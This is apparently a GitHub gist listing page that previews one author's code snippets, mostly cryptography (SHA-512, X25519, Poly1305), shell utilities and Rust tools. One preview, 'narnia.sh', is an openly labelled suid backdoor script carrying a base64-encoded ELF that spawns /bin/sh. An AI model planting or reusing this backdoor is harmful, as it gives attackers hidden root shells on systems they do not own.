Skip to content

Instantly share code, notes, and snippets.

@resilar
resilar / sha512.c
Last active February 15, 2024 14:37
SHA-512 C implementation
#include "sha512.h"
#define ROR64(x, c) (((x) >> (c)) | ((x) << (64 - (c))))
#define LOAD64_BE(p) \
( ((uint64_t)((p)[7]) << 0) \
| ((uint64_t)((p)[6]) << 8) \
| ((uint64_t)((p)[5]) << 16) \
| ((uint64_t)((p)[4]) << 24) \
| ((uint64_t)((p)[3]) << 32) \
@resilar
resilar / x25519.c
Last active March 19, 2024 10:27
X25519 Elliptic-curve Diffie-Hellman (ECDH) with Curve25519 (RFC7748)
#include <stdint.h>
#include <sys/random.h>
int x25519_keygen(uint8_t secret[32], uint8_t public[32]);
void x25519_secret_to_public(const uint8_t secret[32], uint8_t public[32]);
int x25519(const uint8_t secret[32], const uint8_t public[32], uint8_t out[32]);
/*
* RFC7748 X25519 Elliptic Curve Diffie-Hellman (ECDH) with Curve25519.
* Montgomery curve y² = x³ + 486662x² + x over GF(p) = GF(2^255 - 19).
@resilar
resilar / narnia.sh
Created January 20, 2022 02:29
x86-64 suid backdoor for nefarious purposes
#!/bin/sh
TARGET="${1:-./narnia}"
narnia() {
base64 -d <<EOF
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB
AEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAApgAAAAAAAACmAAAAAAAAAAAQ
AAAAAAAAMf9XampqaVgPBVhfDwVIuC9iaW4vc2gASInmUEiJ50itSIk+SI1UxghqO1gPBQ==
EOF
}
if ! narnia | cmp -s "$TARGET"
@resilar
resilar / battery.sh
Last active August 17, 2023 04:16
Linux shell script implementation of `acpi -b`
#!/bin/sh
# Show battery information similar to `acpi -b`
if [ -n "${*:-$BAT}" ]; then for BAT in "${@:-$BAT}"; do echo "$BAT"; done
else find /sys/class/power_supply/ -maxdepth 1 -name 'BAT*' | LC_ALL=C sort
fi | while IFS= read -r BAT; do
if [ ! -r "$BAT" ] || [ ! -r "$BAT/uevent" ]; then
printf '%s unreadable\n' "$BAT" >&2
continue
fi
@resilar
resilar / totp.sh
Created September 21, 2021 13:29
POSIX shell implementation of TOTP using OpenSSL
#!/bin/sh
TOTP() {
TOTP_SECRET="${1:-GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ}"
TOTP_DIGITS="${2:-6}"
TOTP_STEP="${3:-30}"
TOTP_TIME="${4:-"$(date '+%s')"}"
TOTP_COUNTER="$((TOTP_TIME / TOTP_STEP))"
printf '%016x' "${5:-$TOTP_COUNTER}" | xxd -r -p \
| openssl dgst -sha1 -hmac "$(printf '%s' "$TOTP_SECRET" | base32 -d)" \
@resilar
resilar / poly1305.c
Last active May 6, 2023 04:34
poly1305 implementation in C
#include <stddef.h>
#include <stdint.h>
#define LOAD32_LE(p) \
( ((uint32_t)((p)[0]) << 0) \
| ((uint32_t)((p)[1]) << 8) \
| ((uint32_t)((p)[2]) << 16) \
| ((uint32_t)((p)[3]) << 24) \
)
@resilar
resilar / .zshrc
Last active August 22, 2021 23:57
Dynamic window title with zsh shell
# Dynamic window title with zsh shell.
# Shows current directory and running (multi-line) command.
case "$TERM" in (rxvt|rxvt-*|st|st-*|*xterm*|(dt|k|E)term)
local term_title () { print -n "\e]0;${(j: :q)@}\a" }
precmd () {
local DIR="$(print -P '[%c]%#')"
term_title "$DIR" "zsh"
}
preexec () {
local DIR="$(print -P '[%c]%#')"
@resilar
resilar / rb_tree.c
Last active February 25, 2023 22:54
Intrusive red-black trees in C
#include "rb_tree.h"
#define PARENT_BIT 1
#define COLOR_BIT 2
#define PARENT_MASK (PARENT_BIT | COLOR_BIT)
#define rb_is_red(n) ((n) != (void *)0 && ((n)->parent & COLOR_BIT))
#define rb_is_black(n) ((n) == (void *)0 || !((n)->parent & COLOR_BIT))
#define rb_set_red(n) ((n)->parent |= COLOR_BIT)
#define rb_set_black(n) ((n)->parent &= ~COLOR_BIT)
@resilar
resilar / makeuniq.rs
Created March 10, 2018 08:11
Remove duplicate lines without sorting
// rustc -O makeuniq.rs
// cat .bash_history | ./makeuniq > .bash_history_uniq
use std::io::{self, Write};
use std::io::prelude::BufRead;
use std::collections::HashSet;
fn main() {
let mut uniqs = HashSet::new();
@resilar
resilar / irc.rs
Last active September 23, 2017 07:38
babby's first irc client in rust
use irc::command::{IrcCommand};
use futures::stream::{self, Stream};
use futures::sync::mpsc::{self, UnboundedReceiver, UnboundedSender};
use futures::{future, Future};
use tokio_core::net::TcpStream;
use tokio_core::reactor::Handle;
use tokio_io::{io, AsyncRead};